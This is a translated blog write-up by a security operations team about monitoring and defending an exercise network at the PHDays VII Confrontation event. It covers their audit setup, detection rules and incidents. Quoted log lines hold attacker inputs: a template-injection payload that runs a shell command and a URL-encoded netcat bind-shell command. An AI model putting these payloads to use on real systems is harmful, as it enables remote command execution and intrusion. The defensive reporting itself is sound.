PHDays VII: Confrontation Chronicles

This year, before the “Confrontation”, we once again gathered a hodgepodge team, partly from employees of Solar Security, partly from caring friends and social builders of Russia. In the article we will try to describe the whole process of participation in the “Confrontation” - what were the Easter eggs from the organizers, what were the attacks, how we defended, what tools worked, etc.



Last year, our team monitored Telecom (which was not very different in terms of infrastructure from the Office, but not the essence). This year, the number of SOCs decreased, the Telecom infrastructure lost its domain, workstations, and most of the servers, and we decided to work with the Office as well.

Each participant in the confrontation had their own goals and objectives. For us, the main task was the ability to test endpoint content in “combat conditions” (we checked the network part last year), ideas on identifying various methods of delivering malware to users' workstations and fixing Attackers in the infrastructure. The office was ideally suited for this, especially since the organizers promised "the enemy inside."
')
If you take an integral assessment of the event, everything was quite cheerful and interesting. Both infrastructures that we defended did without successful attacks in the field of protection and during operation (GSM Telecom was not in the scopes of protection or monitoring). We defended the infrastructures from the attackers (although the Telecom team received a yellow card for disputes with the referee). On the way, we found a couple of “easter eggs” from the organizers, which, apparently, deprived themselves of an exciting fight with the internal enemy. Now about everything in order.

Preparation stage, or how the infrastructure looks like before the game starts

1. As planned by the organizers, "in order to preserve the balance in the infrastructures of companies there is a constant, with a slight backlash, the number of vulnerabilities." In practice, this looks like Windows 2008 R2 without a single update on all 50 hosts. This was the first surprise. At the same time, the possibility of updating the OS was knocked out almost with a fight, for there must be a “balance”.
   
   But it is necessary to be updated in any case, because, for example, Sysmon v6 on Windows 2008 and Windows 7 is no longer installed, because the OS can not verify the digital signature. The decision .
   
   
   
   
2. The second surprise was the number of Web applications in the office infrastructure. Apparently, they decided to collect all the known platforms with the most leaky software.
   
   
   
   
3. What the infrastructure looked like in general:
   
   
   • 25 servers with OS Windows 2008 R2. The main functionality is the mysql database for each of the external web services.
   • 25 Windows 7 workstations.
   • 32 external services, mainly Ubuntu with a variety of web content.
   
   GIS, for which the Defenders had enough money:
   
   
   • CheckPoint FW + IPS on the outer perimeter of the network.
   • Kaspersky AV 10 on workstations + Kaspersky for windows server 8.0 on servers.
   • Kaspersky for Linux on external web servers.
   • ObserveIT on all infrastructure servers.
   
   Monitoring in SOC:
   
   
   • ArcSight - GIS + OS Audit.
   • Splunk - netflow + Unix Audit. Web monitoring + monitoring of network attacks, availability of new hosts / services.
   
   
4. By agreement with the Defenders, in addition to monitoring, we took upon ourselves the response on the Windows infrastructure. Including for the reason that the audit we need does not roll out quite trivially and we ourselves had to identify problem areas.

General concept of infrastructure monitoring

1. External Web:
   
   
   • At the OS level, auth log + auditd on EXECVE + changes to the Web server configs and the / tmp / directories.
   • Audit executable commands in bash (something like webplay.pro/linux/syslog-log-bash-history-every-user.html , but greatly improved).
   • Hope for CheckPoint IPS.
   • Kaspersky AV on Linux. Not that we strongly believed in him, but since he is ...
   
   Tasks for monitoring (taken at a minimum so that it is not completely embarrassing):
   
   
   • External scan.
   • Password selection and server logins via SSH are not from our segments.
   • Creating scripts in the OS.
   • There are some custom scenarios that were added on the fly to change the infrastructure.
   
   
2. Windows OS:
   
   
   • Sysmon v6:
     
     
     • Running processes (many advantages compared to standard Windows audits).
     • Creating files and changing the registry (included immediately on the entire host, no need to configure separately on each directory).
     • Downloading libraries (I really wanted to see the use of various malware by hackers).
     • Appeal to the address space of other processes.
     
     
   • Audit OS Windows (Advanced Audit Configuration).
     There is no magic here either, everything is standard. The only point is that the audit of the category “Filtering Platform Connection” was necessarily included, in which it is possible to compare network events with the processes that these connections initiate.
     
     
   • A couple of libraries that are injected at the start into the cmd.exe and powershell.exe processes and log all commands entered. Wonderful thing :)
     
     
     
     
   • A few “surprises” for Attackers:
     
     
     • We adopted the experience of surveys on projects and made UZ svcbackup in the domain with a password in the comments. And a number of rules for detecting any activity under this UZ:
       
       
       
       
     • Putting patches is good and right, but unfair to Attackers. Therefore, we decided to help the organizers, and the updates on the OS began to look like this:
       
       
       
       
     • We still expected that the Attackers would quickly get inside the network, so through the domain almost all workstations rolled out LSA Protect to protect against Mimikatz. But not for all types of KM, and only Logon Credential
       
       

       HKLM\SYSYTEM\CurrentControlSet\Control\SecurityProvider\Wdigest /v UseLogonCredential /t REG_DWORD /d 0 

       
       Naturally, with monitoring changes to the corresponding parameter in the registry.
       
       
     • In case the Attackers, if they hit the system, tried to disconnect us from the control (for example, by turning on the blocking rules on the FW), a script was prepared that runs on a schedule and changes the policy to the original one in the presence of FW enable events:
       
       
       Attention, spoiler!

        $compname = Get-WMIObject Win32_ComputerSystem | Select-Object -ExpandProperty name $outputevent = Get-WinEvent –LogName "Microsoft-Windows-Windows Firewall With Advanced Security/Firewall" | Where-object {$_.ID -eq 2003} | Format-list TimeCreated, Message | Out-File $env:temp\JSOC_TEMP_FW #reg.exp = (?i).(.*value.*yes) $readoutputeventE = type $env:temp\JSOC_TEMP_FW | Select-String -Pattern "Value: Yes" if ($readoutputeventE) { & $env:systemroot\getrulesFW.vbe & $env:systemroot\System32\cmd.exe /c netsh advfirewall import $env:systemroot\JSOC.wfw Get-WinEvent –LogName "Microsoft-Windows-Windows Firewall With Advanced Security/Firewall" | Where-object {$_.ID -eq 2003} | Format-list TimeCreated, Message | Out-File $env:temp\JSOC_FW_LOG & $env:systemroot\System32\wevtutil.exe cl "Microsoft-Windows-Windows Firewall With Advanced Security/Firewall" Write-EventLog –LogName Application –Source "Application" –EntryType Information –EventID 666 –Message "Firewall enabled detected: START AUTORESPONSE!!1111" } 

     
     
3. The monitoring content of the Windows OS eventually crashed into several parts:
   
   
   • Standard Solar JSOC content that runs on all customers.
   • Separate rules for the detection of anomalous activity and attempts to consolidate in the OS.
     It’s not interesting to write about the first part, but on the second we’ll dwell a little more.
     
     
   
   The general idea is as follows:
   
   
   1. Detect attachment options in the OS. Describe for a long time, better give a link to an excellent presentation of colleagues from the LC on PHDays, who remarkably described all the detection methods: www.phdays.com/program/231388
   2. Detect network activity of system processes. To do this, they collected work profiles and set up exception lists for what was recognized as legitimate.
   3. Detect the activity of system processes in the file system and in the registry. For this, profiles were also collected and lists of permitted activities were compiled.
   4. We detect changes in the registry branches, which are responsible for autostarting applications and libraries at system startup and / or user logon.
   5. We detect changes to registry branches that are responsible for protecting against conditional mimikatz and its analogs, changing powershell cmdlets, etc.
   
   In general, this is a topic for individual articles; perhaps, we will describe it in more detail later.
   
   After the whole audit was set up and the rules started, the first results appeared. We began to fix network activity from the svchost.exe process on some external server 208.91.197.46:9999, which was not in our profile. In ArcSight, it looked like this:
   
   
   
   After a quick analysis, it turned out that the malicious code is being used in svchost.exe via a malicious dll: c: \ windows \ FileName.jpg:
   
   
   
   In parallel with it, another malware was found on the same server. That's just the functional did not have time to study, deleted immediately, as they saw :)
   
   

    c:\program files (x86)\wina\wina.exe (471d39a51a79f342033c5b0636c244dc). 

   
   www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/troj_scar.alr + www.virustotal.com/ru/file/1154535130d546eaa33bbc9051a9cb91e2b0e3a3991286c3d5b0a708110c9aa7/an/c/e3a3991286c3d5a3b3e3a381123aa/335c5e3a3991286c3d5a3b5e3a381126aa/335c
   
   Perhaps this was our biggest mistake during the confrontation, but we “nailed” this surprise from the organizers even before the start of the game. It is likely that he was part of a large-scale plan, but it was too late to regret something :)
   
   With such results, we went to bed last time before starting the game.
   

Standoff

Monitoring the availability of infrastructure and the relevance of audit settings

According to the experience of last year, it was clear that the infrastructure is non-static and can change at arbitrary points in time. But only if last year it grew (6 hosts on the outer perimeter flew in within 10 minutes flew in), then it began to decline rapidly. At the time of launch, the number of servers within the network was reduced to 11, and the number of workstations - to 15.

In such conditions, it quickly became clear that, despite the set up audit, reliable information about his condition was needed. After all, if the virtual machine with any of the hosts is rolled back, then we will remain without patches and without monitoring.



As a result, a decent part of the time was spent in order to quickly deal with emerging issues. The hosts periodically hung (the entrance to the console via the RDP could take half an hour), they were rebuilt, and all this seriously spoiled the nerves. One thing pleases - accessibility monitoring worked for all 100.

First Incidents - Web

Expectedly, everything starts with external web services. They scanned constantly, trying to shower shells and deface sites periodically.

This is how sometimes attackers reveal themselves (successful operation of SSTI in photo hosting: defcon.ru/web-security/3840 ):

 /var/lib/php5/sess_vhd4sts3mpk78n4qacc4o8knm0:logged|b:1;name|s:98:"{{_self.env.registerUndefinedFilterCallback('exec')}} {{_self.env.getFilter('ping 100.64.199.5')}}";username|s:4:"test";avatar|s:25:"images/default_avatar.jpg"; 

As a result, in the PHDays conditions, the rule has worked out quite well



Now, any attempt to gain control over the host and initiate connections to its hosts was detected quite well.

At some point, it became boring to look after all this and on the server we made chmod –x / bin / nc.

Result:

 [Tue May 23 21:41:36.273170 2017] [:error] [pid 4203] [client 198.18.78.12:23814] PHP Notice: Undefined index: avatar in /var/www/html/models/User.php on line 21, referer: http://203.0.113.155/login.php sh: 1: /bin/nc: Permission denied sh: 1: /bin/nc: Permission denied 

Apparently, the people on the part of the Attackers were somewhat offended and the following requests went:

 198.18.78.12 - - [24/May/2017:01:48:33 +0400] "GET /xymfrxtestfilehu****.php?hu***a=%63%61%74%20%2f%74%6d%70%2f%6d%79%70%69%70%65%7c%2f%62%69%6e%2f%64%61%73%68%20%32%3e%26%31%7c%6e%63%20%2d%6c%20%39%39%39%39%20%3e%2f%74%6d%70%2f%6d%79%70%69%70%65 HTTP/1.1" 200 1985 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0" 

Overall results:

1. The connection to the database (remember, the web servers in the external segment, and their databases within the network) on all servers did not differ in originality:
   
   

    define('DB_NAME', 'wordpress'); /** MySQL database username */ define('DB_USER', 'wordpressuser'); /** MySQL database password */ define('DB_PASSWORD', 'secondstrongpassword'); /** MySQL hostname */ define('DB_HOST', 'o-srv05.office.cityf'); 

   
   Once they even took advantage of it :)
   
   
2. Surprisingly, a large number of attempts to upload something to the server were detected by AV Kaspersky:
   
   

    Object HEUR:Backdoor.PHP.PhpShell.eg is detected in /var/www/modx/temp/8f18b8d9d5a4cdbbe1f2962fa3868dd4/fonts/s.php Object HEUR:Backdoor.Multi.Mibsun.gen is detected in /tmp/.Xorg/tshd Object HEUR:Backdoor.Linux.Agent.ai is detected in /tmp/.Xorg/tsh/tsh Object HEUR:Exploit.Linux.CVE-2017-7308.a is detected in /tmp/pwn123 Object HEUR:Exploit.Linux.Dirtycow.a is detected in /tmp/cowroot 

   
   
3. Monitoring the error log of the web server + application launch audit - partially solve the problem of the lack of WAF.
4. Without WAF very bad. Quickly close some kind of hole in some cases is simply impossible.

And where are the attacks inside the network?

During the entire monitoring period, not a single penetration of the attackers was recorded beyond the perimeter of the Office.

Perhaps this is the biggest disappointment in the past PHDays, because working with callbacks, injected by malware and insiders is one of the very serious layers of life of current information security and SOC. Communicating with colleagues from the teams of Defenders, we heard from everyone that the main vector is aimed at overcoming the perimeter: they crawl the web, sometimes they deface websites, exploit vulnerabilities.

At the same time, we regularly conducted our checks on detections on different hosts, and all of them were successful. Everything that we planned to detect - everything worked out.

Unfortunately, due to the lack of attacks, detailed detection logic will not work. Therefore, a couple of examples of how such detections look in our infrastructure:

1. An example of the implementation of the keylogger in the process mstsc.exe. Alert on a non-signed library -> We look at the calls to the process that loaded this library -> By PID, we get further activity and source malicious libraries.
   
   
   
   
2. SandBox SIEM  This is what an ordinary cryptor looks like:
   
   
   

In general, the presence of unprotected infrastructure and the bank in the mode of monitoring rather than blocking has greatly changed the focus of attention of the Attackers. Most of the time, they concentrated on hacking and auditing the protection of this particular infrastructure, and not on breaking through defensive redoubts of the Defenders and SOCs. As a result, part of the rich attackers 'toolkit was not used on the Defenders' infrastructures, and part of the surprises of the Defenders and SOCs for detection and counteraction remained not fully tested in combat conditions.

Nevertheless, one should not take this as criticism towards the organizers. They did a tremendous amount of work on the launch of the event, infrastructures and complex integrations, and despite all the difficulties that arose, PHDays confirmed its status as one of the key information security conferences. But SOCs and Defenders want more fire and hardcore, and we are ready to help in its invention;)